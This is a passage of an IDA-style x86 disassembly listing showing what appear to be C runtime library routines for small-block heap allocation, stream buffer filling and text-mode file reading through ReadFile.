loc_41A447:				; CODE XREF: sub_41A37D+BBj
		jnz	short loc_41A457
		call	sub_41A686
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41A46B


loc_41A457:				; CODE XREF: sub_41A37D:loc_41A42Fj
					; sub_41A37D:loc_41A447j
		push	ebx
		call	sub_41A737
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41A472


loc_41A46B:				; CODE XREF: sub_41A37D+D8j
		xor	eax, eax
		jmp	loc_41A681
; ---------------------------------------------------------------------------


loc_41A472:				; CODE XREF: sub_41A37D+7Aj
					; sub_41A37D:loc_41A417j ...
		mov	dword_4D9D50, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41A499
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41A4D0


loc_41A499:				; CODE XREF: sub_41A37D+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41A4CD


loc_41A4B6:				; CODE XREF: sub_41A37D+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41A4B6


loc_41A4CD:				; CODE XREF: sub_41A37D+137j
		mov	edx, [ebp+var_4]


loc_41A4D0:				; CODE XREF: sub_41A37D+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41A4F9
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41A4F9:				; CODE XREF: sub_41A37D+16Dj
					; sub_41A37D+183j
		test	ecx, ecx
		jl	short loc_41A502
		shl	ecx, 1
		inc	edi
		jmp	short loc_41A4F9
; ---------------------------------------------------------------------------


loc_41A502:				; CODE XREF: sub_41A37D+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41A51F
		push	3Fh
		pop	esi


loc_41A51F:				; CODE XREF: sub_41A37D+19Dj
		cmp	esi, edi
		jz	loc_41A634
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41A590
		cmp	edi, 20h
		jge	short loc_41A55F
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41A58D
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41A590
; ---------------------------------------------------------------------------


loc_41A55F:				; CODE XREF: sub_41A37D+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41A58D
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41A590
; ---------------------------------------------------------------------------


loc_41A58D:				; CODE XREF: sub_41A37D+1D6j
					; sub_41A37D+203j
		mov	ebx, [ebp+arg_0]


loc_41A590:				; CODE XREF: sub_41A37D+1B0j
					; sub_41A37D+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41A640
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41A631
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41A602
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41A5F0
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41A5F0:				; CODE XREF: sub_41A37D+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41A631
; ---------------------------------------------------------------------------


loc_41A602:				; CODE XREF: sub_41A37D+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41A61B
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41A61B:				; CODE XREF: sub_41A37D+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41A631:				; CODE XREF: sub_41A37D+24Ej
					; sub_41A37D+283j
		mov	ecx, [ebp+var_8]


loc_41A634:				; CODE XREF: sub_41A37D+1A4j
		test	ecx, ecx
		jz	short loc_41A643
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41A643
; ---------------------------------------------------------------------------


loc_41A640:				; CODE XREF: sub_41A37D+229j
		mov	ecx, [ebp+var_8]


loc_41A643:				; CODE XREF: sub_41A37D+2B9j
					; sub_41A37D+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41A679
		cmp	ebx, dword_4D9D54
		jnz	short loc_41A679
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4D9D4C
		jnz	short loc_41A679
		and	dword_4D9D54, 0


loc_41A679:				; CODE XREF: sub_41A37D+2E0j
					; sub_41A37D+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41A681:				; CODE XREF: sub_41A37D+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A37D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A686	proc near		; CODE XREF: sub_41A37D+CCp
		mov	eax, dword_4D9D58
		mov	ecx, dword_4D9D48
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41A6C9
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4D9D5C
		push	edi
		push	dword_4D9D60
		call	dword_42317C	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_41A719
		add	dword_4D9D48, 10h
		mov	dword_4D9D5C, eax
		mov	eax, dword_4D9D58


loc_41A6C9:				; CODE XREF: sub_41A686+11j
		mov	ecx, dword_4D9D5C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4D9D60
		lea	esi, [ecx+eax*4]
		call	dword_423180	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41A719
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_4231A8	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41A71D
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4D9D60
		call	dword_423178	; RtlFreeHeap


loc_41A719:				; CODE XREF: sub_41A686+30j
					; sub_41A686+67j
		xor	eax, eax
		jmp	short loc_41A734
; ---------------------------------------------------------------------------


loc_41A71D:				; CODE XREF: sub_41A686+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4D9D58
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41A734:				; CODE XREF: sub_41A686+95j
		pop	edi
		pop	esi
		retn
sub_41A686	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A737	proc near		; CODE XREF: sub_41A37D+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41A749:				; CODE XREF: sub_41A737+19j
		test	eax, eax
		jl	short loc_41A752
		shl	eax, 1
		inc	ebx
		jmp	short loc_41A749
; ---------------------------------------------------------------------------


loc_41A752:				; CODE XREF: sub_41A737+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41A767:				; CODE XREF: sub_41A737+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41A767
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_4231A8	; VirtualAlloc
		test	eax, eax
		jnz	short loc_41A79A
		or	eax, 0FFFFFFFFh
		jmp	loc_41A82D
; ---------------------------------------------------------------------------


loc_41A79A:				; CODE XREF: sub_41A737+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41A7E0
		lea	eax, [edi+10h]


loc_41A7A7:				; CODE XREF: sub_41A737+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41A7A7


loc_41A7E0:				; CODE XREF: sub_41A737+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41A81D
		or	[eax+4], edi


loc_41A81D:				; CODE XREF: sub_41A737+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41A82D:				; CODE XREF: sub_41A737+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A737	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A832	proc near		; CODE XREF: sub_4178D8+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41A9E0
		test	bl, 1
		jnz	loc_41A9D9
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41A9D9
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41A8A9
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41A8A9:				; CODE XREF: sub_41A832+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41A8F9
		cmp	ecx, 20h
		jnb	short loc_41A8D5
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41A8F9
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41A8F9
; ---------------------------------------------------------------------------


loc_41A8D5:				; CODE XREF: sub_41A832+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41A8F9
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41A8F9:				; CODE XREF: sub_41A832+7Dj
					; sub_41A832+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41A9C7
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41A933
		push	3Fh
		pop	edi


loc_41A933:				; CODE XREF: sub_41A832+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41A9B5
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41A98C
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41A97F
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41A97F:				; CODE XREF: sub_41A832+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41A9B1
; ---------------------------------------------------------------------------


loc_41A98C:				; CODE XREF: sub_41A832+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41A9A2
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41A9A2:				; CODE XREF: sub_41A832+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41A9B1:				; CODE XREF: sub_41A832+158j
		shr	edx, cl
		or	[eax], edx


loc_41A9B5:				; CODE XREF: sub_41A832+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41A9CA
; ---------------------------------------------------------------------------


loc_41A9C7:				; CODE XREF: sub_41A832+E5j
		mov	edx, [ebp+arg_4]


loc_41A9CA:				; CODE XREF: sub_41A832+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41AB20
; ---------------------------------------------------------------------------


loc_41A9D9:				; CODE XREF: sub_41A832+52j
					; sub_41A832+5Cj
		xor	eax, eax
		jmp	loc_41AB23
; ---------------------------------------------------------------------------


loc_41A9E0:				; CODE XREF: sub_41A832+49j
		jge	loc_41AB20
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41AA0B
		push	3Fh
		pop	esi


loc_41AA0B:				; CODE XREF: sub_41A832+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41AA9A
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41AA24
		push	3Fh
		pop	esi


loc_41AA24:				; CODE XREF: sub_41A832+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41AA73
		cmp	esi, 20h
		jnb	short loc_41AA4F
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41AA70
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41AA70
; ---------------------------------------------------------------------------


loc_41AA4F:				; CODE XREF: sub_41A832+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AA70
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41AA70:				; CODE XREF: sub_41A832+214j
					; sub_41A832+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41AA73:				; CODE XREF: sub_41A832+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41AA9A
		push	3Fh
		pop	esi


loc_41AA9A:				; CODE XREF: sub_41A832+1DDj
					; sub_41A832+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41AB17
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41AAEE
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AAE1
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41AAE1:				; CODE XREF: sub_41A832+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41AB13
; ---------------------------------------------------------------------------


loc_41AAEE:				; CODE XREF: sub_41A832+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AB04
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41AB04:				; CODE XREF: sub_41A832+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41AB13:				; CODE XREF: sub_41A832+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41AB17:				; CODE XREF: sub_41A832+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41AB20:				; CODE XREF: sub_41A832+1A2j
					; sub_41A832:loc_41A9E0j
		push	1
		pop	eax


loc_41AB23:				; CODE XREF: sub_41A832+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A832	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB28	proc near		; CODE XREF: sub_4177F0+A9p
					; sub_41805F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41ABFC
		test	al, 40h
		jnz	loc_41ABFC
		test	al, 2
		jz	short loc_41AB4E
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41ABFC
; ---------------------------------------------------------------------------


loc_41AB4E:				; CODE XREF: sub_41AB28+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41AB62
		push	esi
		call	sub_41F4D0
		pop	ecx
		jmp	short loc_41AB67
; ---------------------------------------------------------------------------


loc_41AB62:				; CODE XREF: sub_41AB28+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41AB67:				; CODE XREF: sub_41AB28+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41AC01
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41ABEB
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABEB
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41ABC0
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41ABA9
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4D9A20[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41ABAE
; ---------------------------------------------------------------------------


loc_41ABA9:				; CODE XREF: sub_41AB28+6Bj
		mov	edi, offset dword_43B1E0


loc_41ABAE:				; CODE XREF: sub_41AB28+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41ABC0
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41ABC0:				; CODE XREF: sub_41AB28+62j
					; sub_41AB28+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41ABDD
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41ABDD
		test	ch, 4
		jnz	short loc_41ABDD
		mov	dword ptr [esi+18h], 1000h


loc_41ABDD:				; CODE XREF: sub_41AB28+9Fj
					; sub_41AB28+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41ABEB:				; CODE XREF: sub_41AB28+55j
					; sub_41AB28+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41ABFC:				; CODE XREF: sub_41AB28+Aj
					; sub_41AB28+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41AB28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AC01	proc near		; CODE XREF: sub_4177F0+90p
					; sub_41AB28+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4D9B20
		jnb	loc_41ADDE
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4D9A20h[eax*4]
		mov	eax, dword_4D9A20[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41ADDE
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41ACB6
		test	dl, 2
		jnz	short loc_41ACB6
		test	dl, 48h
		jz	short loc_41AC76
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41AC76
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41AC76:				; CODE XREF: sub_41AC01+56j
					; sub_41AC01+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	dword_4230E8	; ReadFile
		test	eax, eax
		jnz	short loc_41ACC9
		call	dword_42308C	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41ACB1
		mov	dword_4D86D0, 9
		mov	dword_4D86D4, ecx
		jmp	loc_41ADEF
; ---------------------------------------------------------------------------


loc_41ACB1:				; CODE XREF: sub_41AC01+99j
		cmp	eax, 6Dh
		jnz	short loc_41ACBD


loc_41ACB6:				; CODE XREF: sub_41AC01+4Cj
					; sub_41AC01+51j
		xor	eax, eax
		jmp	loc_41ADF2
; ---------------------------------------------------------------------------


loc_41ACBD:				; CODE XREF: sub_41AC01+B3j
		push	eax
		call	sub_41BEC4
		pop	ecx
		jmp	loc_41ADEF
; ---------------------------------------------------------------------------


loc_41ACC9:				; CODE XREF: sub_41AC01+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41ADD9
		test	edx, edx
		jz	short loc_41ACEE
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41ACEE
		or	al, 4
		jmp	short loc_41ACF0
; ---------------------------------------------------------------------------


loc_41ACEE:				; CODE XREF: sub_41AC01+E2j
					; sub_41AC01+E7j
		and	al, 0FBh


loc_41ACF0:				; CODE XREF: sub_41AC01+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41ADD3


loc_41AD08:				; CODE XREF: sub_41AC01+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41ADC3
		cmp	al, 0Dh
		jz	short loc_41AD24
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41ADB5
; ---------------------------------------------------------------------------


loc_41AD24:				; CODE XREF: sub_41AC01+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41AD42
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41AD39
		add	[ebp+arg_8], 2
		jmp	short loc_41AD97
; ---------------------------------------------------------------------------


loc_41AD39:				; CODE XREF: sub_41AC01+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41ADB5
; ---------------------------------------------------------------------------


loc_41AD42:				; CODE XREF: sub_41AC01+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_4230E8	; ReadFile
		test	eax, eax
		jnz	short loc_41AD6A
		call	dword_42308C	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41ADB1


loc_41AD6A:				; CODE XREF: sub_41AC01+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41ADB1
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41AD8C
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41AD97
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41ADB5
; ---------------------------------------------------------------------------


loc_41AD8C:				; CODE XREF: sub_41AC01+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41AD9C
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41AD9C


loc_41AD97:				; CODE XREF: sub_41AC01+136j
					; sub_41AC01+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41ADB4
; ---------------------------------------------------------------------------


loc_41AD9C:				; CODE XREF: sub_41AC01+18Ej
